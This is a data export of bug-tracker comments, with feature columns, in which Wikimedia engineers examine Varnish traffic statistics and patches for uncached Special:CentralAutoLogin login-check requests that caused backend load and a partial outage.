239957,CentralAuth not caching Special:CentralAutoLogin/start,"On a sample of 100k requests,  ""/createSession"" matched 3650 times, while ""/checkLoggedIn"" 3679 times (this is literally greps, not filtered per domain or query params). I tried 3 different such samples with similar results.",,,1386702413,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-82,True,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,11.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,24.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,11.0,2.0,0.0,9.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.1521739130434785,0.8478260869565217,"On a sample of 100k requests,  ""/createSession"" matched 3650 times, while ""/checkLoggedIn"" 3679 times (this is literally greps, not filtered per domain or query params). I tried 3 different such samples with similar results."
239953,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #29)
> > It's very odd that /createSession is more popular than /checkLoggedIn, since
> > /checkLoggedIn redirecting to /createSession is the only way /createSession
> > is called.
> 
> Not really. /checkLoggedIn has the wikiid parameter to tell it which wiki to
> redirect back to, so you have to add together /checkLoggedIn?wikiid=enwiki,
> /checkLoggedIn?wikiid=eswiki, and so on. /createSession will be on all the
> different domains, but it looks like the stats above aren't being split that
> way so all the /createSession?gu_id=0 are already added together. Or is
> /createSession still more popular after doing that?

Good point, I think those were only counting full urls. Faidon, could we get a list of urls without query parameters, to make sure /checkLoggedIn is being called roughly the same amount as /createSession?

Brad, if you get time to review and merge gerrit 100508, I'm happy to deploy it today, so that we reduce the load as much as possible before we make any changes to how we pass the parameters.",,,1386695102,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-82,True,2.0,0.0,0.0,2.0,0.0,4.5,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.5,0.0,4.5,0.0,4.0,10.5,0.0,3.0,0.0,1.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,6.0,0.5,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,10.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,3.0,2.5,9.0,3.5,1.0,4.5,0.0,0.0,0.0,0.5,4.0,0.0,1.5,0.0,6.5,10.5,6.5,1.0,0.0,0.0,6.5,0.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,3.6607142857142856,0.7142857142857142,"(In reply to comment #29)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Good point, I think those were only counting full urls. Faidon, could we get a list of urls without query parameters, to make sure /checkLoggedIn is being called roughly the same amount as /createSession?

Brad, if you get time to review and merge gerrit 100508, I'm happy to deploy it today, so that we reduce the load as much as possible before we make any changes to how we pass the parameters."
239948,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #27)
> 
> <paravoid> 
> /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
> is
> first
> \x03<\x08paravoid\x08>\x08\x0f 
> /wiki/Special:CentralAutoLogin/
> checkLoggedIn?type=script&wikiid=enwiki&proto=http
> is second,
> /wiki/Special:CentralAutoLogin/
> checkLoggedIn?type=script&wikiid=eswiki&proto=http
> is third
> <paravoid> on backend requests
> 
> It's very odd that /createSession is more popular than /checkLoggedIn, since
> /checkLoggedIn redirecting to /createSession is the only way /createSession
> is called.

Not really. /checkLoggedIn has the wikiid parameter to tell it which wiki to redirect back to, so you have to add together /checkLoggedIn?wikiid=enwiki, /checkLoggedIn?wikiid=eswiki, and so on. /createSession will be on all the different domains, but it looks like the stats above aren't being split that way so all the /createSession?gu_id=0 are already added together. Or is /createSession still more popular after doing that?


> <paravoid> I also see on no5
> /w/index.php?title=Spezial:Zentrale_automatische_Anmeldung/
> createSession&gu_id=0&type=script&proto=http
> so I guess https://gerrit.wikimedia.org/r/#/c/98461/ didn't work

I'm not so sure, it doesn't seem like a localisation update was run after the patch was backported to wmf5. The nightly update just ran now, and now it seems to no longer be redirecting.",,,1386641835,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-82,True,1.0,0.0,0.0,2.5,2.5,2.5,0.5,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.5,0.5,13.0,7.5,0.0,2.5,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.5,0.0,5.5,0.0,2.5,2.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,7.0,0.5,0.5,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,2.0,0.5,0.0,0.0,0.0,0.0,4.0,4.5,13.5,0.0,2.5,6.5,0.0,0.0,0.0,0.5,3.5,0.0,0.5,0.0,3.5,7.5,12.5,0.5,0.0,0.0,3.5,0.0,0.5,0.5,0.0,1.0,0.5,0.0,0.0,3.941176470588235,0.6058823529411764,"(In reply to comment #27)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Not really. /checkLoggedIn has the wikiid parameter to tell it which wiki to redirect back to, so you have to add together /checkLoggedIn?wikiid=enwiki, /checkLoggedIn?wikiid=eswiki, and so on. /createSession will be on all the different domains, but it looks like the stats above aren't being split that way so all the /createSession?gu_id=0 are already added together. Or is /createSession still more popular after doing that?


QUOTE
QUOTE
QUOTE
QUOTE

I'm not so sure, it doesn't seem like a localisation update was run after the patch was backported to wmf5. The nightly update just ran now, and now it seems to no longer be redirecting."
239942,CentralAuth not caching Special:CentralAutoLogin/start,"Change 100508 had a related patch set uploaded by CSteipp:
Don't redirects anons to /createSession

https://gerrit.wikimedia.org/r/100508",,,1386635569,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-82,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.85,1.0,"Change 100508 had a related patch set uploaded by CSteipp:
Don't redirects anons to /createSession

GERRIT_URL"
239932,CentralAuth not caching Special:CentralAutoLogin/start,"I updated 1.23wmf5 (including enwiki) to include the patch that removes calls to /start for anons. After that, Faidon was looking at the logs and observed:

<paravoid>  /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http is first
\x03<\x08paravoid\x08>\x08\x0f  /wiki/Special:CentralAutoLogin/checkLoggedIn?type=script&wikiid=enwiki&proto=http is second, /wiki/Special:CentralAutoLogin/checkLoggedIn?type=script&wikiid=eswiki&proto=http is third
<paravoid> on backend requests


<paravoid>   6392.37 RxURL          /w/index.php?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
<paravoid>   6133.61 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
<paravoid>   4772.53 RxURL          /w/api.php
<paravoid> on frontends


<paravoid> I also see on no5 /w/index.php?title=Spezial:Zentrale_automatische_Anmeldung/createSession&gu_id=0&type=script&proto=http so I guess https://gerrit.wikimedia.org/r/#/c/98461/ didn't work


It's very odd that /createSession is more popular than /checkLoggedIn, since /checkLoggedIn redirecting to /createSession is the only way /createSession is called. On another bug, Brad and I have been discussion removing the call to createSession for annons, and ending the protocol once we know they're anonymous. So we can address the symptoms, but I'm still concerned we have something weird going on causing this.",,,1386633793,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-82,True,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,3.6666666666666665,1.6666666666666667,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,3.0,0.3333333333333333,2.6666666666666665,6.333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,6.333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.0,1.0,0.0,0.3333333333333333,0.0,15.666666666666666,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,2.3333333333333335,3.0,9.666666666666666,1.3333333333333333,1.6666666666666667,3.3333333333333335,0.0,0.0,0.0,0.0,1.0,0.0,1.3333333333333333,0.0,4.0,6.333333333333333,9.666666666666666,0.0,0.0,0.0,4.0,0.0,0.3333333333333333,0.0,0.0,2.6666666666666665,0.3333333333333333,0.0,6.333333333333333,5.099206349206349,0.611111111111111,"I updated 1.23wmf5 (including enwiki) to include the patch that removes calls to /start for anons. After that, Faidon was looking at the logs and observed:

<paravoid>  /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http is first
\x03<\x08paravoid\x08>\x08\x0f  /wiki/Special:CentralAutoLogin/checkLoggedIn?type=script&wikiid=enwiki&proto=http is second, /wiki/Special:CentralAutoLogin/checkLoggedIn?type=script&wikiid=eswiki&proto=http is third
<paravoid> on backend requests


<paravoid>   6392.37 RxURL          /w/index.php?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
<paravoid>   6133.61 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
<paravoid>   4772.53 RxURL          /w/api.php
<paravoid> on frontends


<paravoid> I also see on no5 /w/index.php?title=Spezial:Zentrale_automatische_Anmeldung/createSession&gu_id=0&type=script&proto=http so I guess URL didn't work


It's very odd that /createSession is more popular than /checkLoggedIn, since /checkLoggedIn redirecting to /createSession is the only way /createSession is called. On another bug, Brad and I have been discussion removing the call to createSession for annons, and ending the protocol once we know they're anonymous. So we can address the symptoms, but I'm still concerned we have something weird going on causing this."
239922,CentralAuth not caching Special:CentralAutoLogin/start,"Change 98461 merged by jenkins-bot:
Don't localize Special:CentralAutoLogin

https://gerrit.wikimedia.org/r/98461",,,1386092099,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-83,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.764705882352941,0.9411764705882353,"Change 98461 merged by jenkins-bot:
Don't localize Special:CentralAutoLogin

GERRIT_URL"
239916,CentralAuth not caching Special:CentralAutoLogin/start,"Change 98461 had a related patch set uploaded by Anomie:
Don't localize Special:CentralAutoLogin

https://gerrit.wikimedia.org/r/98461",,,1385938512,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-83,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,30.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.85,0.95,"Change 98461 had a related patch set uploaded by Anomie:
Don't localize Special:CentralAutoLogin

GERRIT_URL"
239912,CentralAuth not caching Special:CentralAutoLogin/start,"Change 95609 merged by jenkins-bot:
Skip Special:CentralAutoLogin/start for JS anons

https://gerrit.wikimedia.org/r/95609",,,1384800429,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-85,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,0.95,"Change 95609 merged by jenkins-bot:
Skip Special:CentralAutoLogin/start for JS anons

GERRIT_URL"
239909,CentralAuth not caching Special:CentralAutoLogin/start,"Change 95609 had a related patch set uploaded by Anomie:
Skip Special:CentralAutoLogin/start for JS anons

https://gerrit.wikimedia.org/r/95609",,,1384527515,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-85,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,30.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.521739130434782,0.9565217391304348,"Change 95609 had a related patch set uploaded by Anomie:
Skip Special:CentralAutoLogin/start for JS anons

GERRIT_URL"
239905,CentralAuth not caching Special:CentralAutoLogin/start,"Unless the client lacks/blocks localStorage and cookies, it should be one pageview per client per site visited per day that is hitting /start?type=script, /checkLoggedIn?wikiid=*&proto=http(s)&type=script, and /createSession?gu_id=0&type=script&proto=http(s). There will also be extra hits coming from the login form, but those hits will include ""&return=1"" and likely returnto and returntoquery parameters.

As long as each of those URLs is varied on the CentralAuth cookies, they all should be fully cacheable.

We can't just not have anons hit these, though, because anons hitting them is an integral part of the SUL2 login scheme: browsers will no longer allow us to set cookies for (e.g.) wikivoyage.org on login if the user has never visited wikivoyage.org before, so when a user does visit wikivoyage.org anonymously we need to somehow check whether they're logged in centrally.

/start?type=1x1 does appear on anon pageviews, but there it's wrapped in <noscript> tags so it should only be hit when the browser lacks JavaScript. /start?type=1x1&from=* appears on the pageview after login.",,,1384525432,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-85,True,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,1.3333333333333333,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,2.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,1.0,0.0,8.0,8.666666666666666,0.0,0.6666666666666666,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.6666666666666666,5.333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,14.0,0.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,3.6666666666666665,2.3333333333333335,2.6666666666666665,3.0,3.0,5.333333333333333,0.0,0.0,0.0,0.0,4.666666666666667,0.0,0.3333333333333333,0.0,4.0,8.666666666666666,4.0,0.0,0.6666666666666666,0.0,4.0,0.0,1.3333333333333333,0.6666666666666666,0.6666666666666666,1.0,0.0,0.0,2.6666666666666665,4.578218243819268,0.790565501562944,"Unless the client lacks/blocks localStorage and cookies, it should be one pageview per client per site visited per day that is hitting /start?type=script, /checkLoggedIn?wikiid=*&proto=http(s)&type=script, and /createSession?gu_id=0&type=script&proto=http(s). There will also be extra hits coming from the login form, but those hits will include ""&return=1"" and likely returnto and returntoquery parameters.

As long as each of those URLs is varied on the CentralAuth cookies, they all should be fully cacheable.

We can't just not have anons hit these, though, because anons hitting them is an integral part of the SUL2 login scheme: browsers will no longer allow us to set cookies for (e.g.) wikivoyage.org on login if the user has never visited wikivoyage.org before, so when a user does visit wikivoyage.org anonymously we need to somehow check whether they're logged in centrally.

/start?type=1x1 does appear on anon pageviews, but there it's wrapped in <noscript> tags so it should only be hit when the browser lacks JavaScript. /start?type=1x1&from=* appears on the pageview after login."
239901,CentralAuth not caching Special:CentralAutoLogin/start,"Oh, and the for the record, the top 5 from Varnish backends, i.e. frontend misses, which filters out cacheable hotspots:

  6964.24 RxURL          /wiki/Special:CentralAutoLogin/start?type=script
  5650.14 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=https
  3943.42 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
  2417.36 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=http&type=script
  1513.81 RxURL          /check

(all but /check being passed through as-is to appservers)",,,1384521034,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-85,True,1.0,0.0,0.0,1.0,0.0,1.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,2.0,10.5,0.0,1.5,3.0,0.0,0.0,0.0,0.0,0.0,0.5,4.5,0.0,0.0,3.5,10.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,5.375,0.6634615384615385,"Oh, and the for the record, the top 5 from Varnish backends, i.e. frontend misses, which filters out cacheable hotspots:

  6964.24 RxURL          /wiki/Special:CentralAutoLogin/start?type=script
  5650.14 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=https
  3943.42 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
  2417.36 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=http&type=script
  1513.81 RxURL          /check

(all but /check being passed through as-is to appservers)"
239897,CentralAuth not caching Special:CentralAutoLogin/start,"OK, I had another quick look, as this in combination with consistent hashing directing /wiki/Special:CentralAutoLogin/start?type=script to a single Varnish backend produced a partial outage by exhausting its resources. (this has been workarounded since with https://gerrit.wikimedia.org/r/#/c/95458/ )

This is far more than just ""caching"". I'm going to report these here so we don't get lost into multiple bugs, but feel free to fork into other bugs as needed:

1) From Varnish text frontends, i.e. *all* text client-side requests (hits & misses), the top 10 URLs are:
  6895.39 RxURL          /wiki/Special:CentralAutoLogin/start?type=script
  5627.74 RxURL          /w/index.php?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
  3235.81 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=https
  2137.83 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
  1981.98 RxURL          /w/index.php?title=MediaWiki:EnhancedCollapsibleElements.js&action=raw&ctype=text/javascript
  1943.81 RxURL          /w/index.php?title=MediaWiki:Common.js/NormalizeCharWidth.js&action=raw&ctype=text/javascript
  1567.70 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=https&type=script
  1383.12 RxURL          /favicon.ico
  1266.87 RxURL          /w/index.php?title=%E7%89%B9%E5%88%A5:%E4%B8%AD%E5%A4%AE%E7%AE%A1%E7%90%86%E8%87%AA%E5%8B%95%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3/star
  1020.66 RxURL          /w/index.php?title=MediaWiki:OSM.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400

(also note how the first is double the requests from the third and triple the requests from fourth)

and from the top-50 URLs, 10 (20%) are CentralAutoLogin URLs, namely:
  6944.76 RxURL          /wiki/Special:CentralAutoLogin/start?type=script
  3003.28 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=https
  2273.40 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
  1452.62 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=https&type=script
   551.49 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=jawiki&proto=https&type=script
   362.93 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=eswiki&proto=https&type=script
   298.33 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=zhwiki&proto=http&type=script
   293.00 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=http&type=script
   289.84 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=1x1&proto=https
   240.99 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=ptwiki&proto=https&type=script

Moreover, these stats do not include the localized URLs that I'm seeing, such as
http://de.wikipedia.org/w/index.php?title=Spezial:Zentrale_automatische_Anmeldung/start&type=script
(localized URLs for such basic functions are a bad idea, as it doesn't help us aggregate URLs counts and find outliers like the above)

And, surpisingly, does not include the 1x1 URL that I see e.g. on all(?) enwiki pages as:
<noscript><img src=""//en.wikipedia.org/w/index.php?title=Special:CentralAutoLogin/start&amp;type=1x1"" alt="""" title="""" width=""1"" height=""1"" style=""border: none; position: absolute;"" /></noscript></div>
which also comes with Cache-control: private.

The fact that these URLs are so popular points to far more than just editors attempting to login -- it surely includes anonymous page views and it's probably aggravated by the fact that due to caching headers, we do not make use of client-side caching. I see ext.centralauth.centralautologin.js doing such requests and that script being loaded on every anon, but it's clearly not my area of expertise.

Those URLs not being cached also means these get passed through to appservers and increasing their load significantly, which the original point of this report. It's also very apparent now, though, that they're causing problems in all kinds of layers in our infrastructure (Varnish frontend/backend hit ratio is down the drain, Varnish backends were/are suffering) and possibly causing a client-side slow-down.

I think we can fix the caching issues -even for redirects depending on GeoIP- but first and foremost we need to stop forcing all page views to requests all kinds of (uncacheable) CentralAutoLogin URLs in this way.",,,1384519621,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-85,True,0.75,0.0,0.125,0.375,0.875,4.25,0.625,0.0,0.125,0.0,1.625,0.625,0.0,0.0,0.0,1.625,0.375,4.125,6.25,0.125,0.5,0.0,0.125,0.0,0.375,0.25,0.0,0.375,0.125,0.0,0.625,3.75,1.0,0.75,0.25,0.0,0.0,0.125,0.25,0.625,0.0,0.25,0.125,0.75,0.0,0.125,0.375,0.0,0.125,21.75,0.25,1.25,0.0,0.625,0.0,0.25,0.0,0.125,0.375,0.0,0.125,0.75,0.0,0.25,0.25,0.0,0.125,2.25,1.5,11.875,0.75,1.75,4.75,0.0,0.0,0.0,0.0,1.75,0.25,3.25,0.0,2.625,6.25,10.0,0.125,1.25,0.0,2.625,0.0,0.625,0.5,0.125,1.875,0.25,0.0,0.375,5.173767719072165,0.6179929123711341,"OK, I had another quick look, as this in combination with consistent hashing directing /wiki/Special:CentralAutoLogin/start?type=script to a single Varnish backend produced a partial outage by exhausting its resources. (this has been workarounded since with URL )

This is far more than just ""caching"". I'm going to report these here so we don't get lost into multiple bugs, but feel free to fork into other bugs as needed:

1) From Varnish text frontends, i.e. *all* text client-side requests (hits & misses), the top 10 URLs are:
  6895.39 RxURL          /wiki/Special:CentralAutoLogin/start?type=script
  5627.74 RxURL          /w/index.php?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
  3235.81 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=https
  2137.83 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
  1981.98 RxURL          /w/index.php?title=MediaWiki:EnhancedCollapsibleElements.js&action=raw&ctype=text/javascript
  1943.81 RxURL          /w/index.php?title=MediaWiki:Common.js/NormalizeCharWidth.js&action=raw&ctype=text/javascript
  1567.70 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=https&type=script
  1383.12 RxURL          /favicon.ico
  1266.87 RxURL          /w/index.php?title=%E7%89%B9%E5%88%A5:%E4%B8%AD%E5%A4%AE%E7%AE%A1%E7%90%86%E8%87%AA%E5%8B%95%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3/star
  1020.66 RxURL          /w/index.php?title=MediaWiki:OSM.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400

(also note how the first is double the requests from the third and triple the requests from fourth)

and from the top-50 URLs, 10 (20%) are CentralAutoLogin URLs, namely:
  6944.76 RxURL          /wiki/Special:CentralAutoLogin/start?type=script
  3003.28 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=https
  2273.40 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
  1452.62 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=https&type=script
   551.49 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=jawiki&proto=https&type=script
   362.93 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=eswiki&proto=https&type=script
   298.33 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=zhwiki&proto=http&type=script
   293.00 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=http&type=script
   289.84 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=1x1&proto=https
   240.99 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=ptwiki&proto=https&type=script

Moreover, these stats do not include the localized URLs that I'm seeing, such as
URL
(localized URLs for such basic functions are a bad idea, as it doesn't help us aggregate URLs counts and find outliers like the above)

And, surpisingly, does not include the 1x1 URL that I see e.g. on all(?) enwiki pages as:
<noscript><img src=""//en.wikipedia.org/w/index.php?title=Special:CentralAutoLogin/start&amp;type=1x1"" alt="""" title="""" width=""1"" height=""1"" style=""border: none; position: absolute;"" /></noscript></div>
which also comes with Cache-control: private.

